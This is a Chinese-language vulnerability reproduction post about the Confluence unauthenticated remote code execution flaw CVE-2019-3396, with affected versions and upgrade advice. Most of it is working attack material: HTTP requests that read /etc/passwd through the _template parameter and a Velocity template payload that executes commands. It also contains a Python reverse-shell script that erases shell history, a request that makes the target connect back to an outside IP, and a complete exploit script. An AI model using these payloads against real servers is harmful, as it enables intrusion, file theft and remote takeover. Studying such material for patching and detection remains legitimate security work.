原文链接:Confluence未授权RCE(CVE-2019-3396)漏洞复现
一、声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
二、影响版本
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
三、漏洞成因
使用_template参数覆盖Velocity渲染模板, 使用file:协议可以进行任意文件读取(不再受限于classpath)
四、修复方法1、升级Confluence版本
2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar
五、复现流程
有些版本需要加Referer才能成功
- POST /rest/tinymce/1/macro/preview HTTP/1.1
- Host: localhost
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
- X-Requested-With: XMLHttpRequest
- Referer: http://locathost/
- Content-Length: 167 X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"786457","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
复制代码
- POST /rest/tinymce/1/macro/preview HTTP/1.1
- Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
- X-Requested-With: XMLHttpRequest Referer: http://localhost/
- Content-Length: 198
- X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"ftp://1.1.1.1/exec.vm","cmd":"whoami"}}}
复制代码 在不出外情况下,搭建一个ftp服务器(优先),或是https站点(成本太高)
pip install pyftpdlib
python -m pyftpdlib -p 8888
搭建好ftp服务器后,将exec.vm上传到ftp服务器上。
exec.vm #set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\A")) #if($scan.hasNext()) $scan.next() #end 反弹shell两种方式,nc.exe和nc.py(当有python环境时使用)
本地监听:
nc.exe -lvvp 8000
nc.py
- <section style="font-size: 14px;text-align: left;letter-spacing: 1.3px;padding: 0px 16px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"># -*- coding:utf-8 -*-
- #!/usr/bin/env python
- """
- back connect py version,only linux have pty module
- code by google security team
- """
- import sys,os,socket,pty
- shell = "/bin/sh"
- def usage(name):
- print 'python reverse connector'
- print 'usage: %s <ip_addr> <port>' % name
- def main():
- if len(sys.argv) !=3:
- usage(sys.argv[0])
- sys.exit()
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((sys.argv[1],int(sys.argv[2])))
- print 'connect ok'
- except:
- print 'connect faild'
- sys.exit()
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- os.unsetenv("HISTSIZE")
- os.unsetenv("HISTORY")
- os.unsetenv("HISTSAVE")
- os.unsetenv("HISTZONE")
- os.unsetenv("HISTLOG")
- os.unsetenv("HISTCMD")
- os.putenv("HISTFILE",'/dev/null')
- os.putenv("HISTSIZE",'0')
- os.putenv("HISTFILESIZE",'0')
- pty.spawn(shell)
- s.close()
- if __name__ == '__main__':
- main()</p></section>
复制代码 使用nc.py反弹
- POST /rest/tinymce/1/macro/preview HTTP/1.1
- Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
- X-Requested-With: XMLHttpRequest Referer: http://localhost/
- Content-Length: 232
- X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://1.1.1.1/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
复制代码 使用exp
- # -*- coding: utf-8 -*-
- import re
- import sys
- import requests
- import ssl
- try:
- _create_unverified_https_context = ssl._create_unverified_context
- except AttributeError:
- pass
- else:
- ssl._create_default_https_context = _create_unverified_https_context
- def _read(url):
- result = {}
- # filename = "../web.xml"
- filename = 'file:////etc/group'
- paylaod = url + "/rest/tinymce/1/macro/preview"
- headers = {
- "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
- "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
- "Content-Type": "application/json; charset=utf-8"
- }
- data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
- r = requests.post(paylaod, data=data, headers=headers)
- # print r.content
- if r.status_code == 200 and "wiki-content" in r.text:
- m = re.findall('.*wiki-content">\n(.*)\n </div>\n', r.text, re.S)
- return m[0]
- def _exec(url,cmd):
- result = {}
- filename = "ftp://1.1.1.1/cmd.vm"
- paylaod = url + "/rest/tinymce/1/macro/preview"
- headers = {
- "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
- "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
- "Content-Type": "application/json; charset=utf-8"
- }
- data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename,cmd)
- r = requests.post(paylaod, data=data, headers=headers)
- # print r.content
- if r.status_code == 200 and "wiki-content" in r.text:
- m = re.findall('.*wiki-content">\n(.*)\n </div>\n', r.text, re.S)
- return m[0]
- if __name__ == '__main__':
- if len(sys.argv) != 3:
- print 'Usage: RCE_exp.py http[s]://target.com:8080/ "ls -al"'
- sys.exit(0)
- url = sys.argv[1]
- cmd = sys.argv[2]
- print _exec(url,cmd)
复制代码
|